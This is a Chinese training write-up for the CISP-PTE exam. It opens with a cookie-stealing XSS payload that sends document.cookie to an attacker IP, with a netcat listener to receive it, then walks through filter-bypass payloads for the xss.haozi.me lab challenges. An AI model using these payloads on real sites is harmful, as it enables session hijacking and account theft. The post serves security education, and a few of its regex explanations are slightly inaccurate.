CISP-PTE培训XSS小练

在CISP-PTE认证中需重点掌握内容为,窃取用户cookies

主要使用方法为:

1
2
3
4
5
6
7
<script>
document.write(
'<img src="http://192.168.94.135:4000/?'+
document.cookie +
'">'
);
</script>

通过该payload,受攻击端将cookie发送至构造好正在监听的攻击者机器对应端口

1
nc.exe -l -p 4000

XSS练习平台,以https://xss.haozi.me/为例

0x00

Server code:

1
2
3
function render (input) {
return '<div>' + input + '</div>'
}

html(input输入后的变化结果):

1
<div><script>alert(1);</script></div>

Input code:

1
<script>alert(1);</script>

0x01

Server code:

1
2
3
function render (input) {
return '<textarea>' + input + '</textarea>'
}

html(input输入后的变化结果):

1
<textarea></textarea><script>alert(1);</script></textarea>

Input code:

1
</textarea><script>alert(1);</script>

0x02

Server code:

1
2
3
function render (input) {
return '<input type="name" value="' + input + '">'
}

html(input输入后的变化结果):

1
<input type="name" value=""><script>alert(1);</script>">

Input code:

1
"><script>alert(1);</script>

0x03

Server code:

1
2
3
4
5
function render (input) {
const stripBracketsRe = /[()]/g
input = input.replace(stripBracketsRe, '')
return input
}

html(input输入后的变化结果):

1
<script>alert`1`;</script>

Input code:

1
<script>alert`1`;</script>

当 ( ) 被过滤时,可以考虑使用 ` ` 替代括号

0x04

Server code:

1
2
3
4
5
function render (input) {
const stripBracketsRe = /[()`]/g
input = input.replace(stripBracketsRe, '')
return input
}

html(input输入后的变化结果):

1
<body onload="alert&#40;1&#41">

Input code:

1
<body onload="alert&#40;1&#41">

当 ( ) ` 均被过滤时,可以考虑使用编码替代

[^1]: 在网页中&#开头的是HTML实体,一些字符在 HTML 中是预留的,拥有特殊的含义,比如小于号‘<’用于定义 HTML 标签的开始。如果我们希望浏览器正确地显示这些字符,我们必须在 HTML 源码中插入字符实体。
[^2]: 如何把汉字转换成HTML实体呢?其实很简单,汉字的HTML实体由三部分组成,”&#+ASCII+;“ 即可
[^3]: 字符实体有三部分:一个和号 (&),一个实体名称,或者 # 和一个实体编号,以及一个分号 (;)。要在 HTML 文档中显示小于号,我们需要这样写:&lt; 或者 &#60;
[^4]: 注意:实体对大小写敏感。

0x05

Server code:

1
2
3
4
function render (input) {
input = input.replace(/-->/g, '😂')
return '<!-- ' + input + ' -->'
}

html(input输入后的变化结果):

1
< !-- --!><script>alert(1);</script> -- >(-和<>之间没有空格)

Input code:

1
--!><script>alert(1);</script>
  • 注释方式有两种:
    • < !– 注释内容 –>
    • <!– 注释内容 –!>

0x06

Server code:

1
2
3
4
function render (input) {
input = input.replace(/auto|on.*=|>/ig, '_')
return `<input value=1 ${input} type="text">`
}

html(input输入后的变化结果):

1
2
<input value=1 onclick
="alert(1)" type="text">

Input code:

1
2
onclick
="alert(1)"

/auto|on.*= | >/ig匹配了: auto 、以on开头且以=结尾的字符串、>

所以过滤了autofocus和onerror等事件, 以及防止input标签被闭合

但是它并没有匹配换行符, 可以通过换行来绕过匹配

0x07

Server code:

1
2
3
4
5
6
function render (input) {
const stripTagsRe = /<\/?[^>]+>/gi

input = input.replace(stripTagsRe, '')
return `<article>${input}</article>`
}

html(input输入后的变化结果):

1
<article><body onload="alert(1)"</article>

Input code:

1
2
3
<body onload="alert(1)"
or
<img src="" onerror=alert(1)

/<\/?[^>]+>/gi

  • </?

\转义符与/结合, 从而转义了/, 进而含义是匹配: </

再加上+ (匹配前面的子表达式一次或多次), 所以是匹配: < 或者 </

  • [^>]+

首先要明白, 中括号的用法: [abc] => 匹配abc中的任意一个;

然后^符号的两种用法:

限定开头: 比如, /^A/会匹配”An e”中的A,但是不会匹配”ab A”中的A

取反(仅处于中括号中成立): 比如,[^a-zA-Z0-9]表示 “找到一个非字母也非数字的字符”。

最后是+的含义:匹配前面的子表达式一次或多次。

所以,总的来说,[^>]+ 匹配了除了^的任意字符的一次或者多次

  • >

单纯匹配>。

总的表达式就是,匹配: </ \任意字符** >,** 而且 /i 过滤了大小写

而html的单标签竟然也可以解析

0x08

Server code:

1
2
3
4
5
6
7
8
function render (src) {
src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */')
return `
<style>
${src}
</style>
`
}

html(input输入后的变化结果):

1
2
3
4
<style>
</style >
<script>alert(1);</script>
</style>

Input code:

1
2
</style >
<script>alert(1);</script>

正则过滤了: </style>,那么可以通过多加一个空格, 造成正则逃逸

或者也可以利用正则式不能匹配换行来绕过

0x09

Server code:

1
2
3
4
5
6
7
function render (input) {
let domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="${input}"></script>`
}
return 'Invalid URL'
}

html(input输入后的变化结果):

1
<script src="https://www.segmentfault.com/" onload="alert(1)"></script>

Input code:

1
https://www.segmentfault.com/" onload="alert(1)

过滤要求必须以https://www.segmentfault.com/为头,onload或者onerror

0x0A

Server code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
function render (input) {
function escapeHtml(s) {
return s.replace(/&/g, '&amp;')
.replace(/'/g, '&#39;')
.replace(/"/g, '&quot;')
.replace(/</g, '&lt;')
.replace(/>/g, '&gt;')
.replace(/\//g, '&#x2f')
}

const domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="${escapeHtml(input)}"></script>`
}
return 'Invalid URL'
}

html(input输入后的变化结果):

1
<script src="https:&#x2f&#x2fwww.segmentfault.com.haozi.me&#x2fj.js"></script>

Input code:

1
https://www.segmentfault.com@xss.haozi.me/j.js

题目通过html转义, 把能注入的关键字都过滤了,无法在网址后面加标签等操作了,

可以直接引用指定网站下的目录文件来达到xss注入的目的

比如: 在靶场的目录下有个j.js文件, 里面有alert(1);代码, 直接调用即可

1
https://www.segmentfault.com.haozi.me/j.js
  • 再者, 也可用url的@语法来进行跳转调用

url通用格式:

<协议>://<用户名>:<密码>@<主机域名或者ip地址>:<端口号>/<路径>;<参数>?<查询>#<片段>

所以, 我们可以将写好的 j.js 文件, 内容为: alert(1);

放到靶机可访问的位置(比如公网服务器),然后@跳转访问即可 (beefhook原理)

1
https://www.segmentfault.com@xss.haozi.me/j.js

0x0B

Server code:

1
2
3
4
function render (input) {
input = input.toUpperCase()
return `<h1>${input}</h1>`
}

html(input输入后的变化结果):

1
<h1><SCRIPT SRC="HTTPS:&#X2F&#X2FWWW.SEGMENTFAULT.COM.HAOZI.ME&#X2FJ.JS"></SCRIPT></h1>

Input code:

1
<script src="https:&#x2f&#x2fwww.segmentfault.com.haozi.me&#x2fj.js"></script>

程序将所有字母转换为大写,需要明白的一点是

  • HTML中对大小写不敏感
  • JS中对大小写敏感

可以对js代码进行编码处理, 而html部分不变

1
<img src="" onerror="&#x61;&#x6c;&#x65;&#x72;&#x74;(1)">

另一种方法是:

域名对大小写也不敏感 , 所有可以用上一题的方法, 调用靶机上自带的j.js代码, 完成xss注入

0x0C

Server code:

1
2
3
4
5
function render (input) {
input = input.replace(/script/ig, '')
input = input.toUpperCase()
return '<h1>' + input + '</h1>'
}

html(input输入后的变化结果):

1
<h1><SCRIPT SRC="HTTPS://WWW.SEGMENTFAULT.COM.HAOZI.ME/J.JS"></SCRIPT></h1>

Input code:

1
2
3
<img src="" onerror="&#x61;&#x6c;&#x65;&#x72;&#x74;(1)">
or
<scrscriptipt src="https://www.segmentfault.com.haozi.me/j.js"></scrscriptipt>

多了一个对script的过滤, 用上一题的第一种方法即可

或者使用双写绕过一次替换

0x0D

Server code:

1
2
3
4
5
6
7
8
function render (input) {
input = input.replace(/[</"']/g, '')
return `
<script>
// alert('${input}')
</script>
`
}

html(input输入后的变化结果):

1
2
3
4
<script>
// alert('alert(1);
-->')
</script>

Input code:

1
2
3

alert(1);
-->

把斜杠, 单、双引号都过滤了,回车可以破坏注释结构,那么再直接注入alert(1), 再配合js的注释符 –> 注释掉’):

0x0E

Server code:

1
2
3
4
5
function render (input) {
input = input.replace(/<([a-zA-Z])/g, '<_$1')
input = input.toUpperCase()
return '<h1>' + input + '</h1>'
}

html(input输入后的变化结果):

1
<h1><SCRIPT SRC="HTTPS:&#X2F&#X2FWWW.SEGMENTFAULT.COM.HAOZI.ME&#X2FJ.JS"></SCRIPT></h1>

Input code:

1
<ſcript src="https:&#x2f&#x2fwww.segmentfault.com.haozi.me&#x2fj.js"></ſcript>

该正则表达式将尖括号后面追加一个下划线, 并且将所有字符大写:

比如: <a 变为: <_A

这几乎过滤了所有标签, 包括<script>,找到一个字符的大写是s的: ſ (古英文, 拉丁文)

0x0F

Server code:

1
2
3
4
5
6
7
8
9
10
11
function render (input) {
function escapeHtml(s) {
return s.replace(/&/g, '&amp;')
.replace(/'/g, '&#39;')
.replace(/"/g, '&quot;')
.replace(/</g, '&lt;')
.replace(/>/g, '&gt;')
.replace(/\//g, '&#x2f;')
}
return `<img src onerror="console.error('${escapeHtml(input)}')">`
}

html(input输入后的变化结果):

1
<img src onerror="console.error('&#39;);alert(1)(&#39;')">

Input code:

1
');alert(1)('

这题将一些常用的注入字符进行了html编码处理,

但是, 它忽略了一点, 由于编码后处于html标签中, 所以当解析代码的时候, 被过滤编码的字符仍然会被还原来执行, 所以可以说, 被过滤的字符可以用。

发现input值处于单引号和括号中间,注入使其闭合, 再闭合后面引号或者注释掉后面的内容即可。

0x10

Server code:

1
2
3
4
5
6
7
function render (input) {
return `
<script>
window.data = ${input}
</script>
`
}

html(input输入后的变化结果):

1
2
3
<script>
window.data = alert(1)
</script>

Input code:

1
alert(1)

0x11

Server code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// from alf.nu
function render (s) {
function escapeJs (s) {
return String(s)
.replace(/\\/g, '\\\\')
.replace(/'/g, '\\\'')
.replace(/"/g, '\\"')
.replace(/`/g, '\\`')
.replace(/</g, '\\74')
.replace(/>/g, '\\76')
.replace(/\//g, '\\/')
.replace(/\n/g, '\\n')
.replace(/\r/g, '\\r')
.replace(/\t/g, '\\t')
.replace(/\f/g, '\\f')
.replace(/\v/g, '\\v')
// .replace(/\b/g, '\\b')
.replace(/\0/g, '\\0')
}
s = escapeJs(s)
return `
<script>
var url = 'javascript:console.log("${s}")'
var a = document.createElement('a')
a.href = url
document.body.appendChild(a)
a.click()
</script>
`
}

html(input输入后的变化结果):

1
2
3
4
5
6
7
<script>
var url = 'javascript:console.log("\");alert(1)(\"")'
var a = document.createElement('a')
a.href = url
document.body.appendChild(a)
a.click()
</script>

Input code:

1
2
3
");alert(1)("
or
"); alert(1); //

一些字符被转义了, 就连换行符等也被转义了

但是: //虽然被转义成了//, 但转义之后还是//, 在js中还是注释符 (勿与正则弄混)

或者闭合后引号

赋值一次消耗一次转义符

0x12

Server code:

1
2
3
4
5
// from alf.nu
function escape (s) {
s = s.replace(/"/g, '\\"')
return '<script>console.log("' + s + '");</script>'
}

html(input输入后的变化结果):

1
<script>console.log("</script><script>alert(1)</script><script>");</script>

Input code:

1
2
3
\");alert(1);//
or
</script><script>alert(1)</script><script>

这题将双引号转义了, 就不能好好闭合了,但是, 换个思路, 它并没有将转义符转义, 那么我们可以将转义符转义。

或者通过闭合前面的script标签, 内嵌一个script标签即可。